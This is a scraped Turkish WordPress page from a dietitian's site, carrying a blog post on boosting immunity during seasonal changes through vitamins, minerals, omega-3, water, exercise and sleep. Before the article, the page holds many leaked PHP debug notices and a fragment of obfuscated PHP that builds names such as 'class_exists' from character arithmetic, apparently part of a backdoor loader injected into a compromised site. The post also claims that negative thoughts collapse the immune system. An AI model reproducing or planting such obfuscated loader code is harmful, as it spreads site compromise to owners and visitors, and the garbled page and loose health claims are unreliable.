Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-seo-pack domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the gotmls domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the robin-image-optimizer domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-optimize domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the the-events-calendar domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wpforms-lite domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the breadcrumb-navxt domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Mevsim Geçişlerinde Bağışıklığınızı Güçlendirin | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı
Mevsim Geçişlerinde Bağışıklığınızı Güçlendirin
Author Uzman Diyetisyen & Fitoterapist Nursena Ardalı Categories Genel Sağlık

Soğuklarla beraber soğuk algınlığı, grip gibi enfeksiyon hastalıkların görülme sıklığı da artıyor bu sebeple Mevsim geçişlerinde bağışıklığınızı güçlendirin. Sonbaharı kış mevsimine giriş olarak düşündüğümüzde vücudumuzun bu geçişe hazır olması gerek. Bu yüzden bu dönemde bağışıklığımızı güçlendirmek için beslenmemiz büyük önem taşıyor.

Danışanlarımdan ve çevremden çok sık gribal enfeksiyona yakalandıklarını duymaya başladım. Bir de şu dönemde koronavirüs tehlikesi ile karşı karşıya kalmışken bağışıklığımızı güçlendirmek bizim elimizde.

Bu dönemde hastalıklardan korunmak için nelere dikkat etmeliyiz bir göz atalım:

antioksidanlar

İlk olarak vücut direncini arttırmak için antioksidan olarak da görev yapan A, C, E vitaminleri ile selenyum, magnezyum, çinko gibi mineralleri yeteri kadar almaya çalışın.

  • A vitamini; yumurta, karaciğer, süt, yoğurt, tereyağında ve havuç, kabak, kayısı domates, ıspanak, brokoli gibi sebze ve meyvelerde bulunur.
  • C vitamini; yeşil sebzeler, kuşburnu, kivi, çilek, portakal, limon, mandalina gibi besinlerde bulunur.
  • E vitamini; zeytinyağı, yeşil yapraklı bitkiler, yağlı tohumlar ve kuru baklagillerde bulunur.
  • Selenyum; brezilya cevizi, yulaf, ayçiçeği tohumu, balık, hindi ve tavuk gibi besinlerde bulunur.
  • Magnezyum; yeşil yapraklı sebzeler, kuru baklagiller, muz, avokado, kakao, çikolata, fındık, ceviz ve kabak çekirdeği gibi yiyecekler magnezyum içerir.
  • Çinko; buğday ürünleri, susam, badem, yağsız et, tavuk, hindi, çinko kaynaklarıdır.

Omega 3 yağ asitlerinin en önemli kaynağı balıktır. Haftada 2 kez balık tüketmeye çalışın.

Ayrıca Omega 3 ve Omega 9 açısından besleyici olan ceviz, fındık ve yer fıstığı gibi kuruyemişleri de makul oranlarda tüketin.

İkinci olarak su içmek için susamayı beklemeyin. Alınan toksinleri vücuttan atmak için günde en az 2 litre su içmeye özen gösterin.

Üçüncü dikkat etmeniz gereken fiziksel aktivite düzeyimiz. Havaların soğuması ile birlikte fiziksel aktiviteniz de azalıyor. Aldığınız kaloriyi yakmak ve kilo problemi yaşamamak için egzersiz yapmaya çalışın.

Dördüncü olarak uyku düzeninize dikkat edin. Uyku düzeninizin olmaması beslenme düzeninizi de olumsuz etkiler.

Son olarak ve en önemlisi yeterli ve dengeli beslendiğinizden emin olun. Eğer yeterli ve dengeli beslendiğinizi düşünmüyorsanız bir diyet uzmanından yardım alın.

Mevsim Geçişlerinde Bağışıklığınızı Güçlendirin

Günün sözü:

Vücudundaki hücreler zihninden geçen her şeye tepki verir. Olumsuz düşünceler bağışıklık sistemini çökertir. Zihninden geçenlere dikkat et.

Previous
Next

Bir yanıt yazın

Copyright © 2021 [bursadiyetisyeni]. Tüm hakları saklıdır. gizlilik ve sartlar Veri Koruma Kanunu  
 [ diyetisyenmerkezi ]